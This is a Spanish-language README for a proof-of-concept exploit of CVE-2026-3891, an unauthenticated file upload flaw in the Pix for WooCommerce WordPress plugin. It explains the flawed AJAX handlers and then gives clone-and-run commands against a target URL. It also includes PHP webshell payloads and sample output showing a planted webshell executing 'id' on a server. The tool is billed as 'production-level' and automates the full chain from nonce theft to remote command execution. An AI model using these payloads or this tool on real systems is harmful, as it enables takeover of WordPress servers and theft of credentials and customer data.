
PoC para CVE-2026-3891 – RCE de carga de archivos no autenticada en Pix para WooCommerce ≤ 1.5.0. Obtención automática de nonce, carga de PHP y ejecución de comandos.
Exploit de prueba de concepto para CVE-2026-3891 – subida arbitraria de archivos no autenticada que conduce a la ejecución remota de código en el plugin de WordPress Pix for WooCommerce (≤ 1.5.0).
CVE-2026-3891 es una vulnerabilidad crítica en el plugin Pix for WooCommerce, que afecta a todas las versiones hasta la 1.5.0. El plugin no aplica las comprobaciones adecuadas de autorización y tipo de archivo en su manejador AJAX lkn_pix_for_woocommerce_c6_save_settings. Un atacante no autenticado puede abusar de esta falla para subir archivos PHP arbitrarios a un directorio de acceso público y lograr la ejecución remota de código en el servidor WordPress subyacente.
Este repositorio contiene un PoC de nivel de producción que automatiza toda la cadena de ataque, desde la obtención de un nonce válido hasta la subida de una webshell, con una gestión robusta de errores y una atractiva interfaz CLI.
certificate_crt_path que espera el manejador vulnerable.--check).[ * ], [ + ], [ - ], [ ! ] para una legibilidad inmediata.La causa raíz reside en dos acciones AJAX registradas por el plugin:
lkn_pix_for_woocommerce_generate_nonceadd_action('wp_ajax_nopriv_lkn_pix_for_woocommerce_generate_nonce', ...);
Esta acción está vinculada a wp_ajax_nopriv_*, lo que la hace accesible para visitantes no autenticados. Genera un nonce para la acción lkn_pix_for_woocommerce_c6_settings_nonce y lo devuelve en un envoltorio JSON:
{"success":true,"data":{"nonce":"abc123..."}}
No se realiza ninguna comprobación de privilegios ni autenticación de usuario: cualquiera puede solicitar un nonce válido.
lkn_pix_for_woocommerce_c6_save_settingsadd_action('wp_ajax_lkn_pix_for_woocommerce_c6_save_settings', ...);
Este manejador guarda la configuración del plugin, incluido un campo de subida de archivos llamado certificate_crt_path. Aunque la subida se realiza a través de la función auxiliar media_handle_upload de WordPress, el plugin no:
current_user_can)..php).wp-content/plugins/payment-gateway-pix-for-woocommerce/Includes/files/certs_c6/
que es directamente accesible a través de la web.Dado que el nonce solo protege contra CSRF y cualquiera puede obtenerlo, un atacante puede encadenar estas dos acciones para subir y ejecutar código PHP arbitrario.
www-data o apache).wp-config.php, credenciales de la base de datos, datos de clientes.requests (instalar con pip install requests).git clone https://github.com/Ch4120N/CVE-2026-3891.git
cd CVE-2026-3891
pip install -r requirements.txt # requests
python CVE-2026-3891.py http://target.com/wordpress
Para un mayor control, utiliza las opciones de línea de comandos:
python CVE-2026-3891.py https://example.com \
-f shell.php \
-p '<?php system($_GET["c"]); ?>' \
--check \
--timeout 20
___ _ _ ____ ___ ___ ___ _ ___ ___ ___ __
/ __)( \/ )( ___)___(__ \ / _ \(__ \ / ) ___(__ )( _ )/ _ \/ )
( (__ \ / )__)(___)/ _/( (_) )/ _/ / _ \(___)(_ \/ _ \\_ / )(
\___) \/ (____) (____)\___/(____)\___/ (___/\___/ (_/ (__)
[CVE-2026-3891]
Pix for WooCommerce Unauthenticated File Upload
Owner: Ch4120N
[ * ] Warming up session (fetching homepage)...
[ * ] Homepage status: 200
[ * ] Requesting nonce (attempt 1/2)...
[ * ] Response status: 200
[ + ] Nonce obtained: 7e8f9a0b1c
[ * ] Uploading payload as woocommerce.php...
[ * ] Upload response status: 200
[ + ] Payload delivered to server.
[ * ] Verifying uploaded file at: http://192.168.56.102/wp-content/plugins/.../certs_c6/woocommerce.php
[ + ] File is accessible (HTTP 200).
[ + ] Webshell URL: http://192.168.56.102/wp-content/plugins/payment-gateway-pix-for-woocommerce/Includes/files/certs_c6/woocommerce.php
# Optional check:
[ * ] Checking shell with command: id
[ + ] Command output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
| Flag | Descripción | Por defecto |
|---|---|---|
target (posicional) | URL base del sitio de WordPress. | Requerido |
-f, --filename | Nombre del archivo PHP a subir. | woocommerce.php |
-p, --payload | Código PHP a subir. | <?php if(isset($_REQUEST["cmd"])){system($_REQUEST["cmd"]);} ?> |
-t, --timeout | Tiempo de espera de la solicitud en segundos. | 15 |
-r, --retries | Reintentos máximos para la obtención del nonce. | 2 |
--no-banner | Suprime el arte ASCII. | (desactivado) |
--no-verify | Omite la comprobación de accesibilidad tras la subida. | (desactivado) |
--check | Ejecuta id en la webshell tras la subida. | (desactivado) |